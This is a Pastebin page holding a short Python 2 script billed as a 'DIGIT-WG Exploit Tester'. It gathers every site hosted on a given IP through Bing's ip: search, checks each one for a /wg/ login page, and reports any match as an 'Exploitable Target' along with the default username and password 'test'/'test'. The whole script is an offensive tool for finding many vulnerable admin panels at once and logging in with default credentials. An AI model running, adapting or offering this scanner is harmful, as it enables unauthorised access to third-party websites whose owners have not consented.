Advertisement
YASSINOXTN

Digit Wg Server Scanner

Dec 28th, 2014
315
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.66 KB | None | 0 0
  1. #!/usr/bin/python
  2. # By Yassinox_TN
  3. import urllib2
  4. import re
  5. import cookielib
  6. import urllib
  7. import requests as xsec
  8. sites = []
  9. def extractserver(ip):
  10.     try:
  11.         page = 1
  12.         while page <= 21:
  13.                 bing = "http://www.bing.com/search?q=ip%3A"+ip+"+&count=50&first="+str(page)
  14.                 openbing  = urllib2.urlopen(bing)
  15.                 readbing = openbing.read()
  16.                 findwebs = re.findall('<h2><a href="(.*?)"' , readbing)
  17.                 sitess = findwebs
  18.                 for i in sitess:
  19.                     sites.append(i)
  20.                 print "|-> grabbed  " + str(len(sites)) + " sites"             
  21.                 page = page + 21
  22.     except :
  23.         pass
  24. logo = '''
  25.                                                                          
  26.                                                                          
  27.    ,---,.             ,--,    ,--,                                      
  28.  ,'  .' |           ,--.'|  ,--.'|                                      
  29. ,---.'   |           |  | :  |  | :                                      
  30. |   |   .'           :  : '  :  : '                ,----._,.              
  31. :   :  :    ,--.--.  |  ' |  |  ' |     ,--.--.   /   /  ' /   ,--.--.    
  32. :   |  |-, /       \ '  | |  '  | |    /       \ |   :     |  /       \  
  33. |   :  ;/|.--.  .-. ||  | :  |  | :   .--.  .-. ||   | .\ . .--.  .-. |  
  34. |   |   .' \__\/: . .'  : |__'  : |__  \__\/: . ..   ; ';  |  \__\/: . .  
  35. '   :  '   ," .--.; ||  | '.'|  | '.'| ," .--.; |'   .   . |  ," .--.; |  
  36. |   |  |  /  /  ,.  |;  :    ;  :    ;/  /  ,.  | `---`-'| | /  /  ,.  |  
  37. |   :  \ ;  :   .'   \ ,   /|  ,   /;  :   .'   \.'__/\_: |;  :   .'   \
  38. |   | ,' |  ,     .-./---`-'  ---`-' |  ,     .-./|   :    :|  ,     .-./
  39. `----'    `--`---'                    `--`---'     \  \ /  `--`---'    
  40.                                                    `--`-'                
  41.                                                     '''
  42. print logo
  43. print "*" * 60
  44. print "               DIGIT-WG Exploit Tester          "
  45. print "Exploit Author : CaPoo_Tunisiano"
  46. print "CHecker Author : Yassinox_Tn    "
  47. print "Thanks To my team and Capoo_Tunisiano and Fallaga Team"
  48. print "*" * 60
  49. ip = raw_input("ip :")
  50. extractserver(ip)
  51. for site in sites :
  52.    try :
  53.        ok = urllib.urlopen(site + "/wg/").getcode()
  54.        if ok == 200 :
  55.           ch = urllib2.urlopen(site + "/wg/").read()
  56.           r = re.findall('type="password"',ch)
  57.           if r :
  58.               print "    Exploitable Target : " + site + "/wg/"
  59.               print "    Username : test"
  60.               print "    password : test"
  61.        else :
  62.            pass
  63.    except :
  64.         print " error Found !"
  65.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement